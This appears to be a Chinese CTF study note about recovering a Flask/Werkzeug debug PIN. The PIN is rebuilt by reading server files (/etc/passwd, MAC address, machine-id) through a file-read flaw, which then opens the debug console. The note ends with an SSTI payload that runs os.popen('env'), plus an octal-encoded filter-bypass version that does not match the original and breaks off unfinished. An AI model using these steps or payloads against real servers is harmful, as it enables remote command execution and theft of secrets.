HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid #注册表
pin码计算ctf题目
pin码主要由六个参数构成
1、username->执行代码时候的用户名
2、getattr(app,"name",app.class.name)-->固定值默认Flask
3、modname->固定值默认flask.app
4、getattr(mod,"file",None) -->app.py文件所在路径
5 str(uuid.getnode()) -->电脑上mac地址
6、get_machine_id() -->根据操作系统不同,有四种获取方式
有文件包含或文件读取的漏洞,且开启debug功能
点击Read somethings:会跳转页面
url可以进行修改,从而读取服务器部分文件
1、获取username用户名:
?url=etc/password里可以看到用户名,UID:1000以上一般为人为创建
2、获取app.py文件所在路径:
未使用venv是固定值,可以在网上找到,如果使用venv的话,存在一个报错页面,会泄露出路径,并且可以获得python版本
http:www.example.com/debug
报错页面:
注意:python2.7显示app.py但是实际上是app.pyc文件
所以我们要把路径的最后手动改成app.pyc
3、获取uuid(mac地址的十进制取决于系统):
centos:/sys/class/net/ens33/address
ubunt:/sys/class/net/eth0/address
02:42:0a:00:03:04 #也可以通过burpsuit拦截数据获取
2482658870020 #必须要转换位十进制
4、获取machine_id(两个内容拼凑起来的):
/etc/machine-id
/proc/self/cgroup
5.结合获取的六个参数使用代码进行计算
知道python版本后去网上找计算代码
6、提交pin码
提交pin码位置:
法一:
http:www.example.com/console
法二:在有debug报错信息的前提
http:www.example.com/debug
点击右面的终端图标可以直接进入
7、进行,命令执行获取flag
在debug页面或者console页面均可进行命令执行
八进制编码绕过
{{''.__class__.__bases__[0]['__subclasses__']()[133]['__init__']
['__globals__']['__builtins__']['eval']
('__import__("os").popen("env").read()')}}
这是以上命令转换的8进制形式
\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\042\\051\\056\\162\\145\\141\\144\\050\\051
标签:__,.__,set,入门,__.__,SSTI,class,attr From: https://www.cnblogs.com/m1xian/p/18406744